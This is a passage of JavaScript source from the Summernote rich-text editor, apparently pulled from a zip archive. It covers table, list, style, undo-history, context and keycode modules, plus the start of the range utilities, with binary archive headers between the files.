   *
   * @param {WrappedRange} rng
   * @param {String} position (left/right)
   * @return {Node}
   */
  addCol(rng, position) {
    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
    const row = $(cell).closest('tr');
    const rowsGroup = $(row).siblings();
    rowsGroup.push(row);

    const vTable = new TableResultAction(cell, TableResultAction.where.Column,
      TableResultAction.requestAction.Add, $(row).closest('table')[0]);
    const actions = vTable.getActionList();

    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {
      const currentCell = actions[actionIndex];
      const tdAttributes = this.recoverAttributes(currentCell.baseCell);
      switch (currentCell.action) {
        case TableResultAction.resultAction.AddCell:
          if (position === 'right') {
            $(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');
          } else {
            $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');
          }
          break;
        case TableResultAction.resultAction.SumSpanCount:
          if (position === 'right') {
            let colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);
            colspanNumber++;
            currentCell.baseCell.setAttribute('colSpan', colspanNumber);
          } else {
            $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');
          }
          break;
      }
    }
  }

  /*
  * Copy attributes from element.
  *
  * @param {object} Element to recover attributes.
  * @return {string} Copied string elements.
  */
  recoverAttributes(el) {
    let resultStr = '';

    if (!el) {
      return resultStr;
    }

    const attrList = el.attributes || [];

    for (let i = 0; i < attrList.length; i++) {
      if (attrList[i].name.toLowerCase() === 'id') {
        continue;
      }

      if (attrList[i].specified) {
        resultStr += ' ' + attrList[i].name + '=\'' + attrList[i].value + '\'';
      }
    }

    return resultStr;
  }

  /**
   * Delete current row
   *
   * @param {WrappedRange} rng
   * @return {Node}
   */
  deleteRow(rng) {
    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
    const row = $(cell).closest('tr');
    const cellPos = row.children('td, th').index($(cell));
    const rowPos = row[0].rowIndex;

    const vTable = new TableResultAction(cell, TableResultAction.where.Row,
      TableResultAction.requestAction.Delete, $(row).closest('table')[0]);
    const actions = vTable.getActionList();

    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {
      if (!actions[actionIndex]) {
        continue;
      }

      const baseCell = actions[actionIndex].baseCell;
      const virtualPosition = actions[actionIndex].virtualTable;
      const hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);
      let rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;
      switch (actions[actionIndex].action) {
        case TableResultAction.resultAction.Ignore:
          continue;
        case TableResultAction.resultAction.AddCell:
          const nextRow = row.next('tr')[0];
          if (!nextRow) { continue; }
          const cloneRow = row[0].cells[cellPos];
          if (hasRowspan) {
            if (rowspanNumber > 2) {
              rowspanNumber--;
              nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);
              nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);
              nextRow.cells[cellPos].innerHTML = '';
            } else if (rowspanNumber === 2) {
              nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);
              nextRow.cells[cellPos].removeAttribute('rowSpan');
              nextRow.cells[cellPos].innerHTML = '';
            }
          }
          continue;
        case TableResultAction.resultAction.SubtractSpanCount:
          if (hasRowspan) {
            if (rowspanNumber > 2) {
              rowspanNumber--;
              baseCell.setAttribute('rowSpan', rowspanNumber);
              if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }
            } else if (rowspanNumber === 2) {
              baseCell.removeAttribute('rowSpan');
              if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }
            }
          }
          continue;
        case TableResultAction.resultAction.RemoveCell:
          // Do not need remove cell because row will be deleted.
          continue;
      }
    }
    row.remove();
  }

  /**
   * Delete current col
   *
   * @param {WrappedRange} rng
   * @return {Node}
   */
  deleteCol(rng) {
    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
    const row = $(cell).closest('tr');
    const cellPos = row.children('td, th').index($(cell));

    const vTable = new TableResultAction(cell, TableResultAction.where.Column,
      TableResultAction.requestAction.Delete, $(row).closest('table')[0]);
    const actions = vTable.getActionList();

    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {
      if (!actions[actionIndex]) {
        continue;
      }
      switch (actions[actionIndex].action) {
        case TableResultAction.resultAction.Ignore:
          continue;
        case TableResultAction.resultAction.SubtractSpanCount:
          const baseCell = actions[actionIndex].baseCell;
          const hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);
          if (hasColspan) {
            let colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;
            if (colspanNumber > 2) {
              colspanNumber--;
              baseCell.setAttribute('colSpan', colspanNumber);
              if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }
            } else if (colspanNumber === 2) {
              baseCell.removeAttribute('colSpan');
              if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }
            }
          }
          continue;
        case TableResultAction.resultAction.RemoveCell:
          dom.remove(actions[actionIndex].baseCell, true);
          continue;
      }
    }
  }

  /**
   * create empty table element
   *
   * @param {Number} rowCount
   * @param {Number} colCount
   * @return {Node}
   */
  createTable(colCount, rowCount, options) {
    const tds = [];
    let tdHTML;
    for (let idxCol = 0; idxCol < colCount; idxCol++) {
      tds.push('<td>' + dom.blank + '</td>');
    }
    tdHTML = tds.join('');

    const trs = [];
    let trHTML;
    for (let idxRow = 0; idxRow < rowCount; idxRow++) {
      trs.push('<tr>' + tdHTML + '</tr>');
    }
    trHTML = trs.join('');
    const $table = $('<table>' + trHTML + '</table>');
    if (options && options.tableClassName) {
      $table.addClass(options.tableClassName);
    }

    return $table[0];
  }

  /**
   * Delete current table
   *
   * @param {WrappedRange} rng
   * @return {Node}
   */
  deleteTable(rng) {
    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
    $(cell).closest('table').remove();
  }
}
PK�{�\�z빼�js/base/editing/Bullet.jsnu�[���import $ from 'jquery';
import lists from '../core/lists';
import func from '../core/func';
import dom from '../core/dom';
import range from '../core/range';

export default class Bullet {
  /**
   * toggle ordered list
   */
  insertOrderedList(editable) {
    this.toggleList('OL', editable);
  }

  /**
   * toggle unordered list
   */
  insertUnorderedList(editable) {
    this.toggleList('UL', editable);
  }

  /**
   * indent
   */
  indent(editable) {
    const rng = range.create(editable).wrapBodyInlineWithPara();

    const paras = rng.nodes(dom.isPara, { includeAncestor: true });
    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));

    $.each(clustereds, (idx, paras) => {
      const head = lists.head(paras);
      if (dom.isLi(head)) {
        this.wrapList(paras, head.parentNode.nodeName);
      } else {
        $.each(paras, (idx, para) => {
          $(para).css('marginLeft', (idx, val) => {
            return (parseInt(val, 10) || 0) + 25;
          });
        });
      }
    });

    rng.select();
  }

  /**
   * outdent
   */
  outdent(editable) {
    const rng = range.create(editable).wrapBodyInlineWithPara();

    const paras = rng.nodes(dom.isPara, { includeAncestor: true });
    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));

    $.each(clustereds, (idx, paras) => {
      const head = lists.head(paras);
      if (dom.isLi(head)) {
        this.releaseList([paras]);
      } else {
        $.each(paras, (idx, para) => {
          $(para).css('marginLeft', (idx, val) => {
            val = (parseInt(val, 10) || 0);
            return val > 25 ? val - 25 : '';
          });
        });
      }
    });

    rng.select();
  }

  /**
   * toggle list
   *
   * @param {String} listName - OL or UL
   */
  toggleList(listName, editable) {
    const rng = range.create(editable).wrapBodyInlineWithPara();

    let paras = rng.nodes(dom.isPara, { includeAncestor: true });
    const bookmark = rng.paraBookmark(paras);
    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));

    // paragraph to list
    if (lists.find(paras, dom.isPurePara)) {
      let wrappedParas = [];
      $.each(clustereds, (idx, paras) => {
        wrappedParas = wrappedParas.concat(this.wrapList(paras, listName));
      });
      paras = wrappedParas;
    // list to paragraph or change list style
    } else {
      const diffLists = rng.nodes(dom.isList, {
        includeAncestor: true
      }).filter((listNode) => {
        return !$.nodeName(listNode, listName);
      });

      if (diffLists.length) {
        $.each(diffLists, (idx, listNode) => {
          dom.replace(listNode, listName);
        });
      } else {
        paras = this.releaseList(clustereds, true);
      }
    }

    range.createFromParaBookmark(bookmark, paras).select();
  }

  /**
   * @param {Node[]} paras
   * @param {String} listName
   * @return {Node[]}
   */
  wrapList(paras, listName) {
    const head = lists.head(paras);
    const last = lists.last(paras);

    const prevList = dom.isList(head.previousSibling) && head.previousSibling;
    const nextList = dom.isList(last.nextSibling) && last.nextSibling;

    const listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);

    // P to LI
    paras = paras.map((para) => {
      return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;
    });

    // append to list(<ul>, <ol>)
    dom.appendChildNodes(listNode, paras);

    if (nextList) {
      dom.appendChildNodes(listNode, lists.from(nextList.childNodes));
      dom.remove(nextList);
    }

    return paras;
  }

  /**
   * @method releaseList
   *
   * @param {Array[]} clustereds
   * @param {Boolean} isEscapseToBody
   * @return {Node[]}
   */
  releaseList(clustereds, isEscapseToBody) {
    let releasedParas = [];

    $.each(clustereds, (idx, paras) => {
      const head = lists.head(paras);
      const last = lists.last(paras);

      const headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;
      const lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {
        node: last.parentNode,
        offset: dom.position(last) + 1
      }, {
        isSkipPaddingBlankHTML: true
      }) : null;

      const middleList = dom.splitTree(headList, {
        node: head.parentNode,
        offset: dom.position(head)
      }, {
        isSkipPaddingBlankHTML: true
      });

      paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)
        : lists.from(middleList.childNodes).filter(dom.isLi);

      // LI to P
      if (isEscapseToBody || !dom.isList(headList.parentNode)) {
        paras = paras.map((para) => {
          return dom.replace(para, 'P');
        });
      }

      $.each(lists.from(paras).reverse(), (idx, para) => {
        dom.insertAfter(para, headList);
      });

      // remove empty lists
      const rootLists = lists.compact([headList, middleList, lastList]);
      $.each(rootLists, (idx, rootList) => {
        const listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));
        $.each(listNodes.reverse(), (idx, listNode) => {
          if (!dom.nodeLength(listNode)) {
            dom.remove(listNode, true);
          }
        });
      });

      releasedParas = releasedParas.concat(paras);
    });

    return releasedParas;
  }
}
PK�{�\?����js/base/editing/Style.jsnu�[���import $ from 'jquery';
import env from '../core/env';
import func from '../core/func';
import lists from '../core/lists';
import dom from '../core/dom';

export default class Style {
  /**
   * @method jQueryCSS
   *
   * [workaround] for old jQuery
   * passing an array of style properties to .css()
   * will result in an object of property-value pairs.
   * (compability with version < 1.9)
   *
   * @private
   * @param  {jQuery} $obj
   * @param  {Array} propertyNames - An array of one or more CSS properties.
   * @return {Object}
   */
  jQueryCSS($obj, propertyNames) {
    if (env.jqueryVersion < 1.9) {
      const result = {};
      $.each(propertyNames, (idx, propertyName) => {
        result[propertyName] = $obj.css(propertyName);
      });
      return result;
    }
    return $obj.css(propertyNames);
  }

  /**
   * returns style object from node
   *
   * @param {jQuery} $node
   * @return {Object}
   */
  fromNode($node) {
    const properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];
    const styleInfo = this.jQueryCSS($node, properties) || {};
    styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);
    return styleInfo;
  }

  /**
   * paragraph level style
   *
   * @param {WrappedRange} rng
   * @param {Object} styleInfo
   */
  stylePara(rng, styleInfo) {
    $.each(rng.nodes(dom.isPara, {
      includeAncestor: true
    }), (idx, para) => {
      $(para).css(styleInfo);
    });
  }

  /**
   * insert and returns styleNodes on range.
   *
   * @param {WrappedRange} rng
   * @param {Object} [options] - options for styleNodes
   * @param {String} [options.nodeName] - default: `SPAN`
   * @param {Boolean} [options.expandClosestSibling] - default: `false`
   * @param {Boolean} [options.onlyPartialContains] - default: `false`
   * @return {Node[]}
   */
  styleNodes(rng, options) {
    rng = rng.splitText();

    const nodeName = (options && options.nodeName) || 'SPAN';
    const expandClosestSibling = !!(options && options.expandClosestSibling);
    const onlyPartialContains = !!(options && options.onlyPartialContains);

    if (rng.isCollapsed()) {
      return [rng.insertNode(dom.create(nodeName))];
    }

    let pred = dom.makePredByNodeName(nodeName);
    const nodes = rng.nodes(dom.isText, {
      fullyContains: true
    }).map((text) => {
      return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);
    });

    if (expandClosestSibling) {
      if (onlyPartialContains) {
        const nodesInRange = rng.nodes();
        // compose with partial contains predication
        pred = func.and(pred, (node) => {
          return lists.contains(nodesInRange, node);
        });
      }

      return nodes.map((node) => {
        const siblings = dom.withClosestSiblings(node, pred);
        const head = lists.head(siblings);
        const tails = lists.tail(siblings);
        $.each(tails, (idx, elem) => {
          dom.appendChildNodes(head, elem.childNodes);
          dom.remove(elem);
        });
        return lists.head(siblings);
      });
    } else {
      return nodes;
    }
  }

  /**
   * get current style on cursor
   *
   * @param {WrappedRange} rng
   * @return {Object} - object contains style properties.
   */
  current(rng) {
    const $cont = $(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);
    let styleInfo = this.fromNode($cont);

    // document.queryCommandState for toggle state
    // [workaround] prevent Firefox nsresult: "0x80004005 (NS_ERROR_FAILURE)"
    try {
      styleInfo = $.extend(styleInfo, {
        'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',
        'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',
        'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',
        'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',
        'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',
        'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',
        'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']
      });
    } catch (e) {}

    // list-style-type to list-style(unordered, ordered)
    if (!rng.isOnList()) {
      styleInfo['list-style'] = 'none';
    } else {
      const orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];
      const isUnordered = $.inArray(styleInfo['list-style-type'], orderedTypes) > -1;
      styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';
    }

    const para = dom.ancestor(rng.sc, dom.isPara);
    if (para && para.style['line-height']) {
      styleInfo['line-height'] = para.style.lineHeight;
    } else {
      const lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);
      styleInfo['line-height'] = lineHeight.toFixed(1);
    }

    styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);
    styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);
    styleInfo.range = rng;

    return styleInfo;
  }
}
PK�{�\:ƣ-�	�	js/base/editing/History.jsnu�[���import range from '../core/range';

export default class History {
  constructor($editable) {
    this.stack = [];
    this.stackOffset = -1;
    this.$editable = $editable;
    this.editable = $editable[0];
  }

  makeSnapshot() {
    const rng = range.create(this.editable);
    const emptyBookmark = {s: {path: [], offset: 0}, e: {path: [], offset: 0}};

    return {
      contents: this.$editable.html(),
      bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)
    };
  }

  applySnapshot(snapshot) {
    if (snapshot.contents !== null) {
      this.$editable.html(snapshot.contents);
    }
    if (snapshot.bookmark !== null) {
      range.createFromBookmark(this.editable, snapshot.bookmark).select();
    }
  }

  /**
  * @method rewind
  * Rewinds the history stack back to the first snapshot taken.
  * Leaves the stack intact, so that "Redo" can still be used.
  */
  rewind() {
    // Create snap shot if not yet recorded
    if (this.$editable.html() !== this.stack[this.stackOffset].contents) {
      this.recordUndo();
    }

    // Return to the first available snapshot.
    this.stackOffset = 0;

    // Apply that snapshot.
    this.applySnapshot(this.stack[this.stackOffset]);
  }

  /**
  * @method reset
  * Resets the history stack completely; reverting to an empty editor.
  */
  reset() {
    // Clear the stack.
    this.stack = [];

    // Restore stackOffset to its original value.
    this.stackOffset = -1;

    // Clear the editable area.
    this.$editable.html('');

    // Record our first snapshot (of nothing).
    this.recordUndo();
  }

  /**
   * undo
   */
  undo() {
    // Create snap shot if not yet recorded
    if (this.$editable.html() !== this.stack[this.stackOffset].contents) {
      this.recordUndo();
    }

    if (this.stackOffset > 0) {
      this.stackOffset--;
      this.applySnapshot(this.stack[this.stackOffset]);
    }
  }

  /**
   * redo
   */
  redo() {
    if (this.stack.length - 1 > this.stackOffset) {
      this.stackOffset++;
      this.applySnapshot(this.stack[this.stackOffset]);
    }
  }

  /**
   * recorded undo
   */
  recordUndo() {
    this.stackOffset++;

    // Wash out stack after stackOffset
    if (this.stack.length > this.stackOffset) {
      this.stack = this.stack.slice(0, this.stackOffset);
    }

    // Create new snapshot and push it to the end
    this.stack.push(this.makeSnapshot());
  }
}
PK�{�\"�2js/base/Context.jsnu�[���import $ from 'jquery';
import func from './core/func';
import lists from './core/lists';
import dom from './core/dom';

export default class Context {
  /**
   * @param {jQuery} $note
   * @param {Object} options
   */
  constructor($note, options) {
    this.ui = $.summernote.ui;
    this.$note = $note;

    this.memos = {};
    this.modules = {};
    this.layoutInfo = {};
    this.options = options;

    this.initialize();
  }

  /**
   * create layout and initialize modules and other resources
   */
  initialize() {
    this.layoutInfo = this.ui.createLayout(this.$note, this.options);
    this._initialize();
    this.$note.hide();
    return this;
  }

  /**
   * destroy modules and other resources and remove layout
   */
  destroy() {
    this._destroy();
    this.$note.removeData('summernote');
    this.ui.removeLayout(this.$note, this.layoutInfo);
  }

  /**
   * destory modules and other resources and initialize it again
   */
  reset() {
    const disabled = this.isDisabled();
    this.code(dom.emptyPara);
    this._destroy();
    this._initialize();

    if (disabled) {
      this.disable();
    }
  }

  _initialize() {
    // add optional buttons
    const buttons = $.extend({}, this.options.buttons);
    Object.keys(buttons).forEach((key) => {
      this.memo('button.' + key, buttons[key]);
    });

    const modules = $.extend({}, this.options.modules, $.summernote.plugins || {});

    // add and initialize modules
    Object.keys(modules).forEach((key) => {
      this.module(key, modules[key], true);
    });

    Object.keys(this.modules).forEach((key) => {
      this.initializeModule(key);
    });
  }

  _destroy() {
    // destroy modules with reversed order
    Object.keys(this.modules).reverse().forEach((key) => {
      this.removeModule(key);
    });

    Object.keys(this.memos).forEach((key) => {
      this.removeMemo(key);
    });
    // trigger custom onDestroy callback
    this.triggerEvent('destroy', this);
  }

  code(html) {
    const isActivated = this.invoke('codeview.isActivated');

    if (html === undefined) {
      this.invoke('codeview.sync');
      return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();
    } else {
      if (isActivated) {
        this.layoutInfo.codable.val(html);
      } else {
        this.layoutInfo.editable.html(html);
      }
      this.$note.val(html);
      this.triggerEvent('change', html);
    }
  }

  isDisabled() {
    return this.layoutInfo.editable.attr('contenteditable') === 'false';
  }

  enable() {
    this.layoutInfo.editable.attr('contenteditable', true);
    this.invoke('toolbar.activate', true);
    this.triggerEvent('disable', false);
  }

  disable() {
    // close codeview if codeview is opend
    if (this.invoke('codeview.isActivated')) {
      this.invoke('codeview.deactivate');
    }
    this.layoutInfo.editable.attr('contenteditable', false);
    this.invoke('toolbar.deactivate', true);

    this.triggerEvent('disable', true);
  }

  triggerEvent() {
    const namespace = lists.head(arguments);
    const args = lists.tail(lists.from(arguments));

    const callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];
    if (callback) {
      callback.apply(this.$note[0], args);
    }
    this.$note.trigger('summernote.' + namespace, args);
  }

  initializeModule(key) {
    const module = this.modules[key];
    module.shouldInitialize = module.shouldInitialize || func.ok;
    if (!module.shouldInitialize()) {
      return;
    }

    // initialize module
    if (module.initialize) {
      module.initialize();
    }

    // attach events
    if (module.events) {
      dom.attachEvents(this.$note, module.events);
    }
  }

  module(key, ModuleClass, withoutIntialize) {
    if (arguments.length === 1) {
      return this.modules[key];
    }

    this.modules[key] = new ModuleClass(this);

    if (!withoutIntialize) {
      this.initializeModule(key);
    }
  }

  removeModule(key) {
    const module = this.modules[key];
    if (module.shouldInitialize()) {
      if (module.events) {
        dom.detachEvents(this.$note, module.events);
      }

      if (module.destroy) {
        module.destroy();
      }
    }

    delete this.modules[key];
  }

  memo(key, obj) {
    if (arguments.length === 1) {
      return this.memos[key];
    }
    this.memos[key] = obj;
  }

  removeMemo(key) {
    if (this.memos[key] && this.memos[key].destroy) {
      this.memos[key].destroy();
    }

    delete this.memos[key];
  }

  /**
   * Some buttons need to change their visual style immediately once they get pressed
   */
  createInvokeHandlerAndUpdateState(namespace, value) {
    return (event) => {
      this.createInvokeHandler(namespace, value)(event);
      this.invoke('buttons.updateCurrentStyle');
    };
  }

  createInvokeHandler(namespace, value) {
    return (event) => {
      event.preventDefault();
      const $target = $(event.target);
      this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);
    };
  }

  invoke() {
    const namespace = lists.head(arguments);
    const args = lists.tail(lists.from(arguments));

    const splits = namespace.split('.');
    const hasSeparator = splits.length > 1;
    const moduleName = hasSeparator && lists.head(splits);
    const methodName = hasSeparator ? lists.last(splits) : lists.head(splits);

    const module = this.modules[moduleName || 'editor'];
    if (!moduleName && this[methodName]) {
      return this[methodName].apply(this, args);
    } else if (module && module[methodName] && module.shouldInitialize()) {
      return module[methodName].apply(module, args);
    }
  }
}
PK�{�\$1̝��js/base/core/key.jsnu�[���import lists from './lists';
import func from './func';

const KEY_MAP = {
  'BACKSPACE': 8,
  'TAB': 9,
  'ENTER': 13,
  'SPACE': 32,
  'DELETE': 46,

  // Arrow
  'LEFT': 37,
  'UP': 38,
  'RIGHT': 39,
  'DOWN': 40,

  // Number: 0-9
  'NUM0': 48,
  'NUM1': 49,
  'NUM2': 50,
  'NUM3': 51,
  'NUM4': 52,
  'NUM5': 53,
  'NUM6': 54,
  'NUM7': 55,
  'NUM8': 56,

  // Alphabet: a-z
  'B': 66,
  'E': 69,
  'I': 73,
  'J': 74,
  'K': 75,
  'L': 76,
  'R': 82,
  'S': 83,
  'U': 85,
  'V': 86,
  'Y': 89,
  'Z': 90,

  'SLASH': 191,
  'LEFTBRACKET': 219,
  'BACKSLASH': 220,
  'RIGHTBRACKET': 221
};

/**
 * @class core.key
 *
 * Object for keycodes.
 *
 * @singleton
 * @alternateClassName key
 */
export default {
  /**
   * @method isEdit
   *
   * @param {Number} keyCode
   * @return {Boolean}
   */
  isEdit: (keyCode) => {
    return lists.contains([
      KEY_MAP.BACKSPACE,
      KEY_MAP.TAB,
      KEY_MAP.ENTER,
      KEY_MAP.SPACE,
      KEY_MAP.DELETE
    ], keyCode);
  },
  /**
   * @method isMove
   *
   * @param {Number} keyCode
   * @return {Boolean}
   */
  isMove: (keyCode) => {
    return lists.contains([
      KEY_MAP.LEFT,
      KEY_MAP.UP,
      KEY_MAP.RIGHT,
      KEY_MAP.DOWN
    ], keyCode);
  },
  /**
   * @property {Object} nameFromCode
   * @property {String} nameFromCode.8 "BACKSPACE"
   */
  nameFromCode: func.invertObject(KEY_MAP),
  code: KEY_MAP
};
PK�{�\��S�Sjs/base/core/range.jsnu�[���import $ from 'jquery';
import env from './env';
import func from './func';
import lists from './lists';
import dom from './dom';

/**
 * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js
 *
 * @param {TextRange} textRange
 * @param {Boolean} isStart
 * @return {BoundaryPoint}
 *
 * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx
 */
function textRangeToPoint(textRange, isStart) {
  let container = textRange.parentElement();
  let offset;

  const tester = document.body.createTextRange();
  let prevContainer;
  const childNodes = lists.from(container.childNodes);
  for (offset = 0; offset < childNodes.length; offset++) {
    if (dom.isText(childNodes[offset])) {
      continue;
    }
    tester.moveToElementText(childNodes[offset]);
    if (tester.compareEndPoints('StartToStart', textRange) >= 0) {
      break;
    }
    prevContainer = childNodes[offset];
  }

  if (offset !== 0 && dom.isText(childNodes[offset - 1])) {
    const textRangeStart = document.body.createTextRange();
    let curTextNode = null;
    textRangeStart.moveToElementText(prevContainer || container);
    textRangeStart.collapse(!prevContainer);
    curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;

    const pointTester = textRange.duplicate();
    pointTester.setEndPoint('StartToStart', textRangeStart);
    let textCount = pointTester.text.replace(/[\r\n]/g, '').length;

    while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {
      textCount -= curTextNode.nodeValue.length;
      curTextNode = curTextNode.nextSibling;
    }

    // [workaround] enforce IE to re-reference curTextNode, hack
    const dummy = curTextNode.nodeValue; // eslint-disable-line

    if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&
      textCount === curTextNode.nodeValue.length) {
      textCount -= curTextNode.nodeValue.length;
      curTextNode = curTextNode.nextSibling;
    }

    container = curTextNode;
    offset = textCount;
  }

  return {
    cont: container,
    offset: offset
  };
}

/**
 * return TextRange from boundary point (inspired by google closure-library)
 * @param {BoundaryPoint} point
 * @return {TextRange}
 */
function pointToTextRange(point) {
  const textRangeInfo = function(container, offset) {
    let node, isCollapseToStart;

    if (dom.isText(container)) {
      const prevTextNodes = dom.listPrev(container, func.not(dom.isText));
      const prevContainer = lists.last(prevTextNodes).previousSibling;
      node = prevContainer || container.parentNode;
      offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);
      isCollapseToStart = !prevContainer;
    } else {
      node = container.childNodes[offset] || container;
      if (dom.isText(node)) {
        return textRangeInfo(node, 0);
      }

      offset = 0;
      isCollapseToStart = false;
    }

    return {
      node: node,
      collapseToStart: isCollapseToStart,
      offset: offset
    };
  };

  const textRange = document.body.createTextRange();
  const info = textRangeInfo(point.node, point.offset);

  textRange.moveToElementText(info.node);
  textRange.collapse(info.collapseToStart);
  textRange.moveStart('character', info.offset);
  return textRange;
}

/**
   * Wrapped Range
   *
   * @constructor
   * @param {Node} sc - start container
   * @param {Number} so - start offset
   * @param {Node} ec - end container
   * @param {Number} eo - end offset
   */
class WrappedRange {
  constructor(sc, so, ec, eo) {
    this.sc = sc;
    this.so = so;
    this.ec = ec;
    this.eo = eo;

    // isOnEditable: judge whether range is on editable or not
    this.isOnEditable = this.makeIsOn(dom.isEditable);
    // isOnList: judge whether range is on list node or not
    this.isOnList = this.makeIsOn(dom.isList);
    // isOnAnchor: judge whether range is on anchor node or not
    this.isOnAnchor = this.makeIsOn(dom.isAnchor);
    // isOnCell: judge whether range is on cell node or not
    this.isOnCell = this.makeIsOn(dom.isCell);
    // isOnData: judge whether range is on data node or not
    this.isOnData = this.makeIsOn(dom.isData);
  }

  // nativeRange: get nativeRange from sc, so, ec, eo
  nativeRange() {
    if (env.isW3CRangeSupport) {
      const w3cRange = document.createRange();
      w3cRange.setStart(this.sc, this.so);
      w3cRange.setEnd(this.ec, this.eo);

      return w3cRange;
    } else {
      const textRange = pointToTextRange({
        node: this.sc,
        offset: this.so
      });

      textRange.setEndPoint('EndToEnd', pointToTextRange({
        node: this.ec,
        offset: this.eo
      }));

      return textRange;
    }
  }

  getPoints() {
    return {
      sc: this.sc,
      so: this.so,
      ec: this.ec,
      eo: this.eo
    };
  }

  getStartPoint() {
    return {
      node: this.sc,
      offset: this.so
    };
  }

  getEndPoint() {
    return {
      node: this.ec,
      offset: this.eo
    };
  }

  /**
   * select update visible range
   */
  select() {
    const nativeRng = this.nativeRange();
    if (env.isW3CRangeSupport) {
      const selection = document.getSelection();
      if (selection.rangeCount > 0) {
        selection.removeAllRanges();
      }
      selection.addRange(nativeRng);
    } else {
      nativeRng.select();
    }

    return this;
  }

  /**
   * Moves the scrollbar to start container(sc) of current range
   *
   * @return {WrappedRange}
   */
  scrollIntoView(container) {
    const height = $(container).height();
    if (container.scrollTop + height < this.sc.offsetTop) {
      container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);
    }

    return this;
  }

  /**
   * @return {WrappedRange}
   */
  normalize() {
    /**
     * @param {BoundaryPoint} point
     * @param {Boolean} isLeftToRight
     * @return {BoundaryPoint}
     */
    const getVisiblePoint = function(point, isLeftToRight) {
      if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||
          (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||
          (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||
          (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {
        return point;
      }

      // point on block's edge
      const block = dom.ancestor(point.node, dom.isBlock);
      if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||
          ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {
        // returns point already on visible point
        if (dom.isVisiblePoint(point)) {
          return point;
        }
        // reverse direction
        isLeftToRight = !isLeftToRight;
      }

      const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)
        : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);
      return nextPoint || point;
    };

    const endPoint = getVisiblePoint(this.getEndPoint(), false);
    const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);

    return new WrappedRange(
      startPoint.node,
      startPoint.offset,
      endPoint.node,
      endPoint.offset
    );
  }

  /**
   * returns matched nodes on range
   *
   * @param {Function} [pred] - predicate function
   * @param {Object} [options]
   * @param {Boolean} [options.includeAncestor]
   * @param {Boolean} [options.fullyContains]
   * @return {Node[]}
   */
  nodes(pred, options) {
    pred = pred || func.ok;

    const includeAncestor = options && options.includeAncestor;
    const fullyContains = options && options.fullyContains;

    // TODO compare points and sort
    const startPoint = this.getStartPoint();
    const endPoint = this.getEndPoint();

    const nodes = [];
    const leftEdgeNodes = [];

    dom.walkPoint(startPoint, endPoint, function(point) {
